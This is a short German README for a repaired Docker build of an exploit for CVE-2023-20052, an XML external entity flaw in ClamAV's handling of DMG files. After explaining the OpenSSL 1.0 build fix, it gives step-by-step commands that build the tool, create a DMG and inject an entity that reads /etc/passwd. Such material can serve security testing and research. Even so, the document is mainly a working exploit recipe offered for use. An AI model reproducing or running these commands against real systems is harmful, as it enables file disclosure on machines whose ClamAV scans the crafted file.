
Korrigierter Docker-Build für den CVE-2023-20052 ClamAV XXE-Exploit. Behebt Kompilierungsfehler von OpenSSL 3.0 unter Verwendung von Ubuntu 18.04 mit OpenSSL 1.0 für die Kompatibilität von libdmg-hfsplus. Erzeugt schädliche DMG-Dateien für XML-External-Entity-Injection.
Behobener Docker-Build für CVE-2023-20052 (ClamAV-XXE-Sicherheitslücke), der tatsächlich kompiliert.
Der ursprüngliche Exploit lässt sich auf modernen Systemen nicht erstellen:
HMAC_CTX-Strukturdmg/filevault.c fehllibssl1.0-dev (OpenSSL 1.0)libdmg-hfsplus verwendet veraltete OpenSSL 1.0-Funktionen:
HMAC_CTX_init() / HMAC_CTX_cleanup() (entfernt in OpenSSL 1.1+)HMAC_CTX-Struktur (undurchsichtig in OpenSSL 1.1+)Ubuntu 18.04 ist das letzte LTS mit OpenSSL 1.0-Unterstützung.
# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .
# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash
# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg
## Fixed Docker build for CVE-2023-20052 (ClamAV XXE) - Resolves OpenSSL 3.0 compilation errors. Uses Ubuntu 18.04 with OpenSSL 1.0 for compatibility with libdmg-hfsplus